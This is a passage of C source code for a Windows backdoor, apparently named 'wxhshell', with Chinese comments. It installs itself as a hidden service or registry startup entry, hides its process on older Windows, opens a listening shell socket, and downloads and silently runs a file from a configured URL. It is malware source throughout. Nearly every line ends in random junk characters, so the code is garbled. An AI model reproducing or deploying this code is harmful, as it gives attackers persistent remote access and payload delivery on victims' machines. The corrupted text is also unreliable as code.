DWORD BasePriority; q9rm9#}[J#
ULONG UniqueProcessId; FsJk"$}
ULONG InheritedFromUniqueProcessId; 3`%E;?2
} PROCESS_BASIC_INFORMATION; %'s_=r`
CO@G%1#
PROCNTQSIP NtQueryInformationProcess; C0N}B1-MU
'hU5]}=
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; o/o6|[=3
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; :G@z?ZJ[
:cWU,V
HANDLE hProcess; r
YKGX?y
PROCESS_BASIC_INFORMATION pbi; zY:3*DiM
f;BY%$
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); D1Zy Js#
if(NULL == hInst ) return 0; }i"[5:
$Bz};@
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); XH~(=^/_
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4bA^Gq
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 7:?\1a
T^|k`
if (!NtQueryInformationProcess) return 0; AaA!U!B
{24>&<p
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }W}( k2r
if(!hProcess) return 0; l $\2|D
v:4j3J$z
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ; >H1A
mP
}<{oh`x
CloseHandle(hProcess); U MRFTwY
lL:!d.{
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 4E 5;wH
if(hProcess==NULL) return 0; Rkg8
NJsaTBT
HMODULE hMod; U&BCd$
char procName[255]; KLW5Ad:/rI
unsigned long cbNeeded; T(x@gwc
L5x;#\#p
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); WyatHC
?K7uy5Y
CloseHandle(hProcess); N
Nk
"NA<^2W@J
if(strstr(procName,"services")) return 1; // 以服务启动 XyN
" Jr
$+GDPYm'
return 0; // 注册表启动 u*2?Gky
} zO"De~[9
v(yJGEf0
// 主模块 %P s.r{%{
int StartWxhshell(LPSTR lpCmdLine) C @<T(`o
{ H~s8M
SOCKET wsl; <L4$f(2
BOOL val=TRUE; p% mHxYP
int port=0; o!+%|V8Y
struct sockaddr_in door; D(']k?
K9Mz4K_
if(wscfg.ws_autoins) Install(); 2YZ>nqy
!hq*WtIk
port=atoi(lpCmdLine); } uS0N$4
&j1-Ouy
if(port<=0) port=wscfg.ws_port; M;y*`<x
zJy=1r
WSADATA data; *z69ti/
t
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; tE=09J%z
2)\->$Q(H
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; xAd@.^
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); J/e]
door.sin_family = AF_INET; Wx]Xa]-
door.sin_addr.s_addr = inet_addr("127.0.0.1"); b;jdk w|
door.sin_port = htons(port); WC<[<uI*
/J-'[Mc'D[
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @6~lZgXOV[
closesocket(wsl); *t| !xO
return 1; Y}R$RDRL
} Sk7R;A
V:y6NfL7i'
if(listen(wsl,2) == INVALID_SOCKET) { (CIcM3|9C
closesocket(wsl); uFSU|SDd.
return 1; *tj(,:!
} B;N<{Gb
Wxhshell(wsl); 082iEG
WSACleanup(); dVB#Np
*KDTBd
return 0; LXX('d
HJ]v-
} >D!R)W`
rwXpB<@l@
// 以NT服务方式启动 F\+AA
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) FhY#3-jH
{ R&(OWF;~,
DWORD status = 0; WcqR; Nm
DWORD specificError = 0xfffffff; $Ah
p4oiE
KJQ8Yhq
serviceStatus.dwServiceType = SERVICE_WIN32; Ll; v[Y
serviceStatus.dwCurrentState = SERVICE_START_PENDING; RBf#5VjOG!
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; FCNYfjB%
serviceStatus.dwWin32ExitCode = 0; 5n2!Y\
serviceStatus.dwServiceSpecificExitCode = 0; 8WQ#)
serviceStatus.dwCheckPoint = 0; ' F.^ 8/>
serviceStatus.dwWaitHint = 0; ;=0mL,
W;I{4ed6
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); gNP1UH4m
if (hServiceStatusHandle==0) return; Z(|$[GZP[
1+$F= M~
status = GetLastError(); k"cMAu.
if (status!=NO_ERROR) I[|Y
2i
{ btEyvqs~X
serviceStatus.dwCurrentState = SERVICE_STOPPED; ?[ )}N
_o#
serviceStatus.dwCheckPoint = 0; hOk9 y=
serviceStatus.dwWaitHint = 0; ,e'm@d$Q*
serviceStatus.dwWin32ExitCode = status; z[J=WI
serviceStatus.dwServiceSpecificExitCode = specificError; rd0Fd+t/
SetServiceStatus(hServiceStatusHandle, &serviceStatus); vVo'f|fW
return; 3?V'O6
} G@ot^n3
JR]elRR
serviceStatus.dwCurrentState = SERVICE_RUNNING; 0=HB!{@
serviceStatus.dwCheckPoint = 0; &j:prc[W
serviceStatus.dwWaitHint = 0; 'e]>lRZ
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 8[J%TWq%9
} ]dGH
i \
`Z,WKus
// 处理NT服务事件,比如:启动、停止 ek<B= F
VOID WINAPI NTServiceHandler(DWORD fdwControl) of*T,MUI
{ ]2f-oz*hU
switch(fdwControl) g^A^@~M
{ n+sv2Wv:
case SERVICE_CONTROL_STOP: 4_-&PZ,d
serviceStatus.dwWin32ExitCode = 0; Yf9E0po
serviceStatus.dwCurrentState = SERVICE_STOPPED; R4;1LZ8XzS
serviceStatus.dwCheckPoint = 0; wp1O*)/q
serviceStatus.dwWaitHint = 0; qc,E azmU
{ xwsl$Rj
SetServiceStatus(hServiceStatusHandle, &serviceStatus); XlF ,_
} vaF1e:(
return; " J9
case SERVICE_CONTROL_PAUSE: (v?@evQ
serviceStatus.dwCurrentState = SERVICE_PAUSED; ^}$t(t
break; ib(|}7Je
case SERVICE_CONTROL_CONTINUE: OAq-(_H
serviceStatus.dwCurrentState = SERVICE_RUNNING; l=XZBe*[g'
break; ?@@$)2_*u
case SERVICE_CONTROL_INTERROGATE: }Y!V3s1bm
break; #g$I>\O<
}; )wjpxr
SetServiceStatus(hServiceStatusHandle, &serviceStatus); i695P}J2
} Pq+|*Y<|&
X~VI} dJ
// 标准应用程序主函数 =:g\I6'a
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) PH%t#a!j3/
{ *c4OhMU(
QmSj6pB>
// 获取操作系统版本 h*;c"/7
OsIsNt=GetOsVer(); Y S7lB
GetModuleFileName(NULL,ExeFile,MAX_PATH); c$[2tZ
]g$ky.;
// 从命令行安装 ~\-=q^/!
if(strpbrk(lpCmdLine,"iI")) Install(); ?&:N|cltD
a K6dy\
// 下载执行文件 a7_Q8iMe
if(wscfg.ws_downexe) { r>8`gAhx
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Y~*p27@fR
WinExec(wscfg.ws_filenam,SW_HIDE); oO[eer_S-
} qmpT G:+
AoGpM,W]5
if(!OsIsNt) { _hV34:1F
// 如果时win9x,隐藏进程并且设置为注册表启动 QyTNV
HideProc(); m$[:J
StartWxhshell(lpCmdLine); pSQ2wjps
} qdk!.A{
else Vr1r2G2
if(StartFromService()) bl!pKOY
// 以服务方式启动 l5^Q
StartServiceCtrlDispatcher(DispatchTable); Yl au
else W<&/5s
// 普通方式启动 ^-?^iWQG
StartWxhshell(lpCmdLine); (BH<\&yHE
n+=7u[AZi
return 0; ).,twf58
}